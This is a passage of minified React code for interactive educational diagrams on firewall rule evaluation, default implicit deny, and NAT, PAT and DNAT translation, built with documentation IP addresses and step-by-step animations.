75)`,children:[(0,k.jsx)(`line`,{x1:`45`,y1:`-28`,x2:`45`,y2:`28`,stroke:`#ef4444`,strokeWidth:`4`,strokeLinecap:`round`}),(0,k.jsx)(`rect`,{x:`55`,y:`-12`,width:`105`,height:`24`,rx:`12`,fill:`#fef2f2`,stroke:`#ef4444`,strokeWidth:`1.5`}),(0,k.jsx)(`text`,{x:`107`,y:`4`,textAnchor:`middle`,fill:`#991b1b`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`DROPPED ✕`})]}),(0,k.jsx)(M,{cx:90,cy:75,label:`CLIENT`,ip:`10.0.0.25`,active:!0}),(0,k.jsx)(N,{cx:370,cy:75,label:`FIREWALL`,sub:`Implicit Deny Gate`,active:e>=1,danger:a}),(0,k.jsx)(P,{cx:650,cy:75,label:`SERVER`,sub:`203.0.113.50:22`,active:!0,danger:a}),e>=1&&(0,k.jsx)(j,{cx:370,cy:34,title:`SSH PACKET`,protocol:`TCP`,port:`22`,src:`10.0.0.25`,dst:`SERVER`,status:a?`DENY`:`INSPECT`,scale:.8}),(0,k.jsxs)(`g`,{transform:`translate(30, 135)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`195`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`10`,fontWeight:`bold`,children:`FIREWALL RULEBASE & DEFAULT IMPLICIT DENY BEHAVIOR`}),(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`32`,rx:`5`,fill:t?`#fef2f2`:`#f8fafc`,stroke:t?`#fca5a5`:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`12`,y:`21`,fill:`#0f172a`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:`#1`}),(0,k.jsx)(`text`,{x:`45`,y:`21`,fill:`#059669`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:`ALLOW`}),(0,k.jsx)(`text`,{x:`120`,y:`21`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`ANY`}),(0,k.jsx)(`text`,{x:`240`,y:`21`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`203.0.113.50`}),(0,k.jsx)(`text`,{x:`370`,y:`21`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`TCP:80 (HTTP)`}),(0,k.jsx)(`text`,{x:`490`,y:`21`,fill:t?`#dc2626`:`#94a3b8`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:t?`NO MATCH (Port 22 ≠ 80) ✕`:`PENDING`})]}),(0,k.jsxs)(`g`,{transform:`translate(16, 74)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`32`,rx:`5`,fill:n?`#fef2f2`:`#f8fafc`,stroke:n?`#fca5a5`:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`12`,y:`21`,fill:`#0f172a`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:`#2`}),(0,k.jsx)(`text`,{x:`45`,y:`21`,fill:`#059669`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:`ALLOW`}),(0,k.jsx)(`text`,{x:`120`,y:`21`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`ANY`}),(0,k.jsx)(`text`,{x:`240`,y:`21`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`203.0.113.50`}),(0,k.jsx)(`text`,{x:`370`,y:`21`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`TCP:443 (HTTPS)`}),(0,k.jsx)(`text`,{x:`490`,y:`21`,fill:n?`#dc2626`:`#94a3b8`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:n?`NO MATCH (Port 22 ≠ 443) ✕`:`PENDING`})]}),(0,k.jsxs)(`g`,{transform:`translate(16, 114)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`38`,rx:`6`,fill:i?`#fef2f2`:`#f8fafc`,stroke:i?`#ef4444`:`#cbd5e1`,strokeWidth:i?2:1}),(0,k.jsx)(`text`,{x:`12`,y:`24`,fill:`#dc2626`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:`DEF`}),(0,k.jsx)(`text`,{x:`45`,y:`24`,fill:`#dc2626`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:`DENY`}),(0,k.jsx)(`text`,{x:`120`,y:`24`,fill:`#dc2626`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`ANY`}),(0,k.jsx)(`text`,{x:`240`,y:`24`,fill:`#dc2626`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`ANY`}),(0,k.jsx)(`text`,{x:`370`,y:`24`,fill:`#dc2626`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`ANY (ALL PORTS)`}),(0,k.jsx)(`text`,{x:`490`,y:`24`,fill:`#dc2626`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:i?`IMPLICIT DENY TRIGGERED: DROP ✕`:r?`REACHED END OF TABLE`:`UNMATCHED FALLTHROUGH`})]}),(0,k.jsx)(`text`,{x:`16`,y:`178`,fill:`#334155`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`ZERO TRUST FORMULA: NO MATCH → END OF RULEBASE REACHED → DEFAULT IMPLICIT DENY → TRAFFIC BLOCKED.`})]})]})},I=({currentStepIndex:e})=>{let[t,n]=(0,_.useState)(0),[r,i]=(0,_.useState)(!1),[a,o]=(0,_.useState)(null),s=[{name:`Scenario A: Web Browsing`,src:`10.0.0.45`,dst:`203.0.113.50`,port:443,proto:`TCP`,matchRule:1,decision:`ALLOW`,reason:`Matches Rule #1 (ALLOW 10.0.0.0/24 -> 443)`},{name:`Scenario B: Database Query`,src:`10.0.0.45`,dst:`203.0.113.50`,port:3306,proto:`TCP`,matchRule:2,decision:`DENY`,reason:`Matches Rule #2 (DENY ANY -> MySQL 3306)`},{name:`Scenario C: DNS Request`,src:`10.0.0.45`,dst:`8.8.8.8`,port:53,proto:`UDP`,matchRule:3,decision:`ALLOW`,reason:`Matches Rule #3 (ALLOW ANY -> DNS 53)`},{name:`Scenario D: SSH Access`,src:`192.168.1.99`,dst:`203.0.113.50`,port:22,proto:`TCP`,matchRule:4,decision:`DENY`,reason:`No rule matches -> Default Implicit Deny drops packet`}],c=s[t],l=()=>{i(!0),o(0),setTimeout(()=>{c.matchRule>0?o(c.matchRule-1):o(3)},600)},u=()=>{i(!1),o(null)},d=r||e>=1,f=d&&c.decision===`ALLOW`,p=d&&c.decision===`DENY`;return(0,k.jsxs)(`div`,{className:`w-full h-full flex flex-col justify-between`,children:[(0,k.jsxs)(`div`,{className:`flex flex-wrap items-center justify-between gap-2 px-4 py-2 bg-slate-100 border-b border-slate-200`,children:[(0,k.jsxs)(`div`,{className:`flex items-center gap-2`,children:[(0,k.jsx)(`span`,{className:`text-xs font-bold text-slate-700`,children:`SELECT PACKET:`}),s.map((e,r)=>(0,k.jsx)(`button`,{onClick:()=>{n(r),u()},className:`px-2.5 py-1 rounded-lg text-xs font-bold transition-all cursor-pointer ${t===r?`bg-blue-600 text-white shadow-xs`:`bg-white text-slate-700 hover:bg-slate-200 border border-slate-300`}`,children:e.name.split(`:`)[0]},e.name))]}),(0,k.jsxs)(`div`,{className:`flex items-center gap-2`,children:[(0,k.jsxs)(`button`,{onClick:l,className:`flex items-center gap-1.5 px-3.5 py-1.5 bg-emerald-600 hover:bg-emerald-700 text-white rounded-lg text-xs font-bold shadow-xs cursor-pointer transition-all`,children:[(0,k.jsx)(et,{className:`h-3.5 w-3.5 fill-current`}),(0,k.jsx)(`span`,{children:`SIMULATE EVALUATION`})]}),(0,k.jsx)(`button`,{onClick:u,className:`p-1.5 bg-white hover:bg-slate-50 border border-slate-300 rounded-lg text-slate-700 shadow-2xs cursor-pointer`,title:`Reset simulation`,children:(0,k.jsx)(it,{className:`h-3.5 w-3.5`})})]})]}),(0,k.jsxs)(`svg`,{viewBox:`0 0 760 280`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[(0,k.jsx)(`line`,{x1:`90`,y1:`65`,x2:`650`,y2:`65`,stroke:`#e2e8f0`,strokeWidth:`3`,strokeDasharray:`4 4`}),d&&(0,k.jsx)(A,{x1:130,y1:65,x2:330,y2:65,color:`#2563eb`,label:`${c.proto} :${c.port}`}),f&&(0,k.jsx)(A,{x1:410,y1:65,x2:610,y2:65,color:`#10b981`,label:`PERMITTED ✓`}),p&&(0,k.jsxs)(`g`,{transform:`translate(370, 65)`,children:[(0,k.jsx)(`line`,{x1:`45`,y1:`-25`,x2:`45`,y2:`25`,stroke:`#ef4444`,strokeWidth:`4`,strokeLinecap:`round`}),(0,k.jsx)(`rect`,{x:`55`,y:`-12`,width:`90`,height:`24`,rx:`12`,fill:`#fef2f2`,stroke:`#ef4444`,strokeWidth:`1.5`}),(0,k.jsx)(`text`,{x:`100`,y:`4`,textAnchor:`middle`,fill:`#991b1b`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`BLOCKED ✕`})]}),(0,k.jsx)(M,{cx:90,cy:65,label:`HOST`,ip:c.src,active:d}),(0,k.jsx)(N,{cx:370,cy:65,label:`FIREWALL`,sub:`Rule Evaluator`,active:d,success:f,danger:p}),(0,k.jsx)(P,{cx:650,cy:65,label:`DESTINATION`,sub:`${c.dst}:${c.port}`,active:d,success:f,danger:p}),d&&(0,k.jsx)(j,{cx:f?640:p?370:230,cy:28,title:`TEST PACKET`,protocol:c.proto,port:c.port,src:c.src,dst:c.dst,status:f?`ALLOW`:p?`DENY`:`NORMAL`,scale:.78}),(0,k.jsxs)(`g`,{transform:`translate(30, 115)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`155`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`24`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`16`,fill:`#ffffff`,fontSize:`9.5`,fontWeight:`bold`,children:`FIREWALL RULEBASE (4-TUPLE MATCH ENGINE)`}),r&&(0,k.jsxs)(`text`,{x:`440`,y:`16`,fill:f?`#4ade80`:`#f87171`,fontSize:`9`,fontWeight:`bold`,children:[`VERDICT: `,c.reason]}),(0,k.jsxs)(`g`,{transform:`translate(16, 32)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`25`,rx:`4`,fill:a===0?c.matchRule===1?`#ecfdf5`:`#fef2f2`:`#f8fafc`,stroke:a===0?c.matchRule===1?`#10b981`:`#fca5a5`:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`12`,y:`17`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`#1`}),(0,k.jsx)(`text`,{x:`45`,y:`17`,fill:`#059669`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`ALLOW`}),(0,k.jsx)(`text`,{x:`120`,y:`17`,fill:`#0f172a`,fontSize:`8`,fontFamily:`monospace`,children:`10.0.0.0/24`}),(0,k.jsx)(`text`,{x:`240`,y:`17`,fill:`#0f172a`,fontSize:`8`,fontFamily:`monospace`,children:`ANY`}),(0,k.jsx)(`text`,{x:`360`,y:`17`,fill:`#0f172a`,fontSize:`8`,fontFamily:`monospace`,children:`TCP:443`}),(0,k.jsx)(`text`,{x:`480`,y:`17`,fill:a===0?c.matchRule===1?`#059669`:`#dc2626`:`#94a3b8`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:a===0?c.matchRule===1?`✓ MATCH: ALLOW`:`✕ NO MATCH`:`PENDING`})]}),(0,k.jsxs)(`g`,{transform:`translate(16, 60)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`25`,rx:`4`,fill:a===1&&c.matchRule===2?`#fef2f2`:`#f8fafc`,stroke:a===1&&c.matchRule===2?`#ef4444`:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`12`,y:`17`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`#2`}),(0,k.jsx)(`text`,{x:`45`,y:`17`,fill:`#dc2626`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`DENY`}),(0,k.jsx)(`text`,{x:`120`,y:`17`,fill:`#0f172a`,fontSize:`8`,fontFamily:`monospace`,children:`ANY`}),(0,k.jsx)(`text`,{x:`240`,y:`17`,fill:`#0f172a`,fontSize:`8`,fontFamily:`monospace`,children:`ANY`}),(0,k.jsx)(`text`,{x:`360`,y:`17`,fill:`#0f172a`,fontSize:`8`,fontFamily:`monospace`,children:`TCP:3306`}),(0,k.jsx)(`text`,{x:`480`,y:`17`,fill:a===1&&c.matchRule===2?`#dc2626`:`#94a3b8`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:a===1?c.matchRule===2?`✕ MATCH: DENIED`:`✕ NO MATCH`:`PENDING`})]}),(0,k.jsxs)(`g`,{transform:`translate(16, 88)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`25`,rx:`4`,fill:a===2&&c.matchRule===3?`#ecfdf5`:`#f8fafc`,stroke:a===2&&c.matchRule===3?`#10b981`:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`12`,y:`17`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`#3`}),(0,k.jsx)(`text`,{x:`45`,y:`17`,fill:`#059669`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`ALLOW`}),(0,k.jsx)(`text`,{x:`120`,y:`17`,fill:`#0f172a`,fontSize:`8`,fontFamily:`monospace`,children:`ANY`}),(0,k.jsx)(`text`,{x:`240`,y:`17`,fill:`#0f172a`,fontSize:`8`,fontFamily:`monospace`,children:`8.8.8.8`}),(0,k.jsx)(`text`,{x:`360`,y:`17`,fill:`#0f172a`,fontSize:`8`,fontFamily:`monospace`,children:`UDP:53`}),(0,k.jsx)(`text`,{x:`480`,y:`17`,fill:a===2?c.matchRule===3?`#059669`:`#dc2626`:`#94a3b8`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:a===2?c.matchRule===3?`✓ MATCH: ALLOW`:`✕ NO MATCH`:`PENDING`})]}),(0,k.jsxs)(`g`,{transform:`translate(16, 116)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`25`,rx:`4`,fill:a===3?`#fef2f2`:`#f8fafc`,stroke:a===3?`#ef4444`:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`12`,y:`17`,fill:`#dc2626`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`DEF`}),(0,k.jsx)(`text`,{x:`45`,y:`17`,fill:`#dc2626`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`DENY`}),(0,k.jsx)(`text`,{x:`120`,y:`17`,fill:`#dc2626`,fontSize:`8`,fontFamily:`monospace`,children:`ANY`}),(0,k.jsx)(`text`,{x:`240`,y:`17`,fill:`#dc2626`,fontSize:`8`,fontFamily:`monospace`,children:`ANY`}),(0,k.jsx)(`text`,{x:`360`,y:`17`,fill:`#dc2626`,fontSize:`8`,fontFamily:`monospace`,children:`ANY`}),(0,k.jsx)(`text`,{x:`480`,y:`17`,fill:a===3?`#dc2626`:`#94a3b8`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:a===3?`✕ DEFAULT IMPLICIT DENY TRIGGERED`:`FALLTHROUGH`})]})]})]})]})},Yt=({currentStepIndex:e})=>{let t=e>=1,n=e>=2,r=e>=3,i=e>=4&&e<=11,a=e===5,o=e>=6&&e<=8,s=e>=7,c=e>=8,l=e===9,u=e===10,d=e>=11,f=e>=12,p=e===13,m=e>=14&&e<=15,h=e>=15,g=e===16,_=e>=17,v=90;e===4?v=90:a?v=230:o?v=370:l?v=490:(u||d)&&(v=650);let y=650;return e===12?y=650:p?y=490:m?y=370:g?y=230:_&&(y=90),(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[(0,k.jsx)(`rect`,{x:`25`,y:`10`,width:`320`,height:`125`,rx:`8`,fill:`#eff6ff`,stroke:`#bfdbfe`,opacity:.6}),(0,k.jsx)(`text`,{x:`40`,y:`26`,fill:`#1e40af`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`PRIVATE RFC 1918 NETWORK (192.168.1.0/24)`}),(0,k.jsx)(`rect`,{x:`395`,y:`10`,width:`340`,height:`125`,rx:`8`,fill:`#f0fdf4`,stroke:`#bbf7d0`,opacity:.6}),(0,k.jsx)(`text`,{x:`410`,y:`26`,fill:`#15803d`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`PUBLIC INTERNET / WAN (203.0.113.0/24)`}),t&&(0,k.jsx)(`line`,{x1:`90`,y1:`80`,x2:`370`,y2:`80`,stroke:`#94a3b8`,strokeWidth:`2.5`,strokeDasharray:`4 4`}),r&&(0,k.jsx)(`line`,{x1:`370`,y1:`80`,x2:`650`,y2:`80`,stroke:`#94a3b8`,strokeWidth:`2.5`,strokeDasharray:`4 4`}),a&&(0,k.jsx)(A,{x1:130,y1:80,x2:330,y2:80,color:`#2563eb`,label:`PRIVATE: 192.168.1.10 →`}),l&&(0,k.jsx)(A,{x1:410,y1:80,x2:570,y2:80,color:`#10b981`,label:`TRANSLATED: 203.0.113.10 →`}),u&&(0,k.jsx)(A,{x1:530,y1:80,x2:610,y2:80,color:`#10b981`,label:`TO SERVER →`}),p&&(0,k.jsx)(A,{x1:610,y1:80,x2:410,y2:80,color:`#10b981`,reverse:!0,label:`REPLY TO 203.0.113.10 ←`,curveOffset:18}),g&&(0,k.jsx)(A,{x1:330,y1:80,x2:130,y2:80,color:`#2563eb`,reverse:!0,label:`DE-NAT TO 192.168.1.10 ←`,curveOffset:18}),(0,k.jsx)(`g`,{className:`animate-pop-in`,children:(0,k.jsx)(M,{cx:90,cy:80,label:`PRIVATE CLIENT`,ip:`192.168.1.10`,active:e<=5||_,success:_,statusText:_?`REPLY RECEIVED ✓`:`INSIDE LOCAL`})}),t&&(0,k.jsxs)(`g`,{transform:`translate(370, 80)`,className:`animate-pop-in`,children:[(0,k.jsx)(`circle`,{cx:`0`,cy:`-6`,r:`38`,fill:o||m?`#2563eb18`:`transparent`}),(0,k.jsx)(`rect`,{x:`-30`,y:`-28`,width:`60`,height:`42`,rx:`6`,fill:`#0f172a`,stroke:c?`#10b981`:`#2563eb`,strokeWidth:2.5}),(0,k.jsx)(`path`,{d:`M -16 -8 L 16 -8 M 10 -14 L 16 -8 L 10 -2`,stroke:`#38bdf8`,strokeWidth:`2`,strokeLinecap:`round`,strokeLinejoin:`round`}),(0,k.jsx)(`path`,{d:`M 16 0 L -16 0 M -10 -6 L -16 0 L -10 6`,stroke:`#4ade80`,strokeWidth:`2`,strokeLinecap:`round`,strokeLinejoin:`round`}),(0,k.jsx)(`text`,{x:`0`,y:`24`,textAnchor:`middle`,fontSize:`9.5`,fontWeight:`bold`,fill:`#0f172a`,children:`NAT GATEWAY`}),(0,k.jsx)(`text`,{x:`0`,y:`36`,textAnchor:`middle`,fontSize:`8`,fontWeight:`bold`,fill:`#2563eb`,fontFamily:`monospace`,children:`203.0.113.10`})]}),n&&(0,k.jsxs)(`g`,{transform:`translate(510, 80)`,className:`animate-pop-in`,children:[(0,k.jsx)(`rect`,{x:`-35`,y:`-12`,width:`70`,height:`22`,rx:`11`,fill:`#f8fafc`,stroke:`#94a3b8`}),(0,k.jsx)(`text`,{x:`0`,y:`2`,textAnchor:`middle`,fontSize:`7.5`,fontWeight:`bold`,fill:`#475569`,fontFamily:`sans-serif`,children:`☁️ INTERNET`})]}),r&&(0,k.jsx)(`g`,{className:`animate-pop-in`,children:(0,k.jsx)(P,{cx:650,cy:80,label:`WEB SERVER`,sub:`198.51.100.20:443`,active:d,success:d,statusText:d?`REQUEST RECEIVED ✓`:`WAITING...`})}),i&&(0,k.jsx)(`g`,{className:`animate-pop-in transition-all duration-500`,children:(0,k.jsx)(j,{cx:v,cy:34,title:c?`TRANSLATED PACKET`:`ORIGINAL PACKET`,protocol:`TCP`,port:`443`,src:c?`203.0.113.10:5001`:`192.168.1.10:5001`,dst:`198.51.100.20:443`,status:c?`ALLOW`:`NORMAL`,scale:.8})}),f&&(0,k.jsx)(`g`,{className:`animate-pop-in transition-all duration-500`,children:(0,k.jsx)(j,{cx:y,cy:34,title:h?`DE-NATED REPLY`:`SERVER RESPONSE`,protocol:`TCP`,port:`443`,src:`198.51.100.20:443`,dst:h?`192.168.1.10:5001`:`203.0.113.10:5001`,status:`ALLOW`,scale:.8})}),s?(0,k.jsxs)(`g`,{transform:`translate(30, 142)`,className:`animate-pop-in`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`185`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`10`,fontWeight:`bold`,children:`NAT TRANSLATION TABLE (STATEFUL BIDIRECTIONAL SESSION BINDING)`}),(0,k.jsxs)(`g`,{transform:`translate(16, 42)`,children:[(0,k.jsx)(`text`,{x:`0`,y:`0`,fill:`#64748b`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`INSIDE LOCAL (PRIVATE)`}),(0,k.jsx)(`text`,{x:`180`,y:`0`,fill:`#64748b`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`INSIDE GLOBAL (PUBLIC)`}),(0,k.jsx)(`text`,{x:`360`,y:`0`,fill:`#64748b`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`OUTSIDE GLOBAL`}),(0,k.jsx)(`text`,{x:`510`,y:`0`,fill:`#64748b`,fontSize:`7.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`MAPPING STATUS`}),(0,k.jsx)(`rect`,{x:`-6`,y:`8`,width:`678`,height:`36`,rx:`6`,fill:_?`#ecfdf5`:c?`#eff6ff`:`#f8fafc`,stroke:_?`#10b981`:c?`#3b82f6`:`#e2e8f0`,strokeWidth:1.5}),(0,k.jsx)(`text`,{x:`4`,y:`30`,fill:`#1e40af`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:`192.168.1.10 :5001`}),(0,k.jsx)(`text`,{x:`180`,y:`30`,fill:`#059669`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:`203.0.113.10 :5001`}),(0,k.jsx)(`text`,{x:`360`,y:`30`,fill:`#0f172a`,fontSize:`9`,fontWeight:`bold`,fontFamily:`monospace`,children:`198.51.100.20 :443`}),(0,k.jsx)(`text`,{x:`510`,y:`30`,fill:_?`#059669`:`#2563eb`,fontSize:`8`,fontWeight:`bold`,fontFamily:`monospace`,children:_?`✓ ROUND-TRIP COMPLETED`:h?`DE-NATED TO PRIVATE HOST`:d?`WAITING SERVER RESPONSE`:`TRANSLATED & ACTIVE`})]}),(0,k.jsxs)(`g`,{transform:`translate(16, 110)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`668`,height:`64`,rx:`6`,fill:`#f8fafc`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`14`,y:`18`,fill:`#334155`,fontSize:`8`,fontWeight:`bold`,children:e<=11?`OUTBOUND SNAT TRANSFORMATION:`:`INBOUND DE-NAT TRANSFORMATION:`}),e<=11?(0,k.jsx)(`text`,{x:`14`,y:`38`,fill:`#1e40af`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`Private Host (192.168.1.10:5001) ───[ NAT REWRITE ]───→ Public WAN (203.0.113.10:5001) → Server`}):(0,k.jsx)(`text`,{x:`14`,y:`38`,fill:`#059669`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:`Server Response ───→ Public (203.0.113.10:5001) ───[ NAT REVERSE ]───→ Private Client (192.168.1.10:5001)`}),(0,k.jsx)(`text`,{x:`14`,y:`54`,fill:`#64748b`,fontSize:`7.5`,children:`Result: External Internet servers never see the internal 192.168.1.10 address, keeping topology fully shielded.`})]})]}):(0,k.jsxs)(`g`,{transform:`translate(30, 155)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`150`,rx:`10`,fill:`#f8fafc`,stroke:`#e2e8f0`,strokeDasharray:`6 6`}),(0,k.jsxs)(`text`,{x:`350`,y:`80`,textAnchor:`middle`,fill:`#64748b`,fontSize:`12`,fontWeight:`bold`,children:[e===0&&`STEP 1: Private Client online (192.168.1.10). Click Next to establish NAT Gateway.`,e===1&&`STEP 2: NAT Gateway established. Click Next to connect Public Internet WAN.`,e===2&&`STEP 3: Internet connected. Click Next to connect Remote Web Server.`,e===3&&`STEP 4: Full topology ready. Click Next to create outbound packet.`,e===4&&`STEP 5: Outbound packet created. Click Next to transmit to NAT Gateway.`,e===5&&`STEP 6: Packet transmitting to NAT Gateway...`,e===6&&`STEP 7: NAT Gateway buffering packet. Click Next to view NAT translation table.`]})]})]})},Xt=({currentStepIndex:e})=>{let t=0;return e>=4&&e<=7?t=1:e>=8&&e<=11?t=2:e>=12&&(t=3),(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[(0,k.jsxs)(`g`,{transform:`translate(40, 10)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`680`,height:`26`,rx:`13`,fill:`#f8fafc`,stroke:`#cbd5e1`,strokeWidth:`1`}),[`1. Static NAT (1:1)`,`2. Dynamic NAT (Pool)`,`3. PAT / Overload (Ports)`,`4. DNAT (Port Forwarding)`].map((e,n)=>{let r=n===t;return(0,k.jsxs)(`g`,{transform:`translate(${10+n*168}, 2)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`160`,height:`22`,rx:`11`,fill:r?`#2563eb`:`transparent`}),(0,k.jsx)(`text`,{x:`80`,y:`14`,textAnchor:`middle`,fill:r?`#ffffff`:`#64748b`,fontSize:`8`,fontWeight:`bold`,fontFamily:`sans-serif`,children:e})]},e)})]}),(0,k.jsxs)(`g`,{transform:`translate(30, 44)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`285`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`28`,rx:`9`,fill:`#0f172a`}),(0,k.jsxs)(`text`,{x:`16`,y:`18`,fill:`#ffffff`,fontSize:`10`,fontWeight:`bold`,children:[t===0&&`PART 1 OF 4 — STATIC NAT: FIXED 1-TO-1 PERMANENT ADDRESS MAPPING`,t===1&&`PART 2 OF 4 — DYNAMIC NAT: PUBLIC IP POOL ALLOCATION (FIRST-COME FIRST-SERVED)`,t===2&&`PART 3 OF 4 — PAT (PORT ADDRESS TRANSLATION): MANY PRIVATE IPS TO 1 PUBLIC IP + UNIQUE PORTS`,t===3&&`PART 4 OF 4 — DNAT (DESTINATION NAT): INBOUND PUBLIC IP/PORT REDIRECTED TO INTERNAL SERVER`]}),t===0&&(0,k.jsxs)(`g`,{transform:`translate(20, 38)`,className:`animate-pop-in`,children:[(0,k.jsx)(M,{cx:70,cy:45,label:`INTERNAL HOST`,ip:`10.0.0.10`,active:!0}),e>=1&&(0,k.jsxs)(`g`,{transform:`translate(330, 45)`,className:`animate-pop-in`,children:[(0,k.jsx)(`rect`,{x:`-45`,y:`-28`,width:`90`,height:`44`,rx:`6`,fill:`#0f172a`,stroke:`#2563eb`,strokeWidth:`2`}),(0,k.jsx)(`text`,{x:`0`,y:`-8`,textAnchor:`middle`,fill:`#38bdf8`,fontSize:`8`,fontWeight:`bold`,children:`STATIC 1:1`}),(0,k.jsx)(`text`,{x:`0`,y:`6`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`7`,fontFamily:`monospace`,children:`FIXED MAP`})]}),e>=1&&(0,k.jsx)(P,{cx:590,cy:45,label:`INTERNET SERVER`,sub:`198.51.100.2:443`,active:e>=3,success:e>=3}),e===2&&(0,k.jsx)(A,{x1:110,y1:45,x2:280,y2:45,color:`#2563eb`,label:`SRC: 10.0.0.10`}),e>=3&&(0,k.jsx)(A,{x1:380,y1:45,x2:540,y2:45,color:`#10b981`,label:`TRANSLATED: 203.0.113.20 ✓`}),(0,k.jsxs)(`g`,{transform:`translate(20, 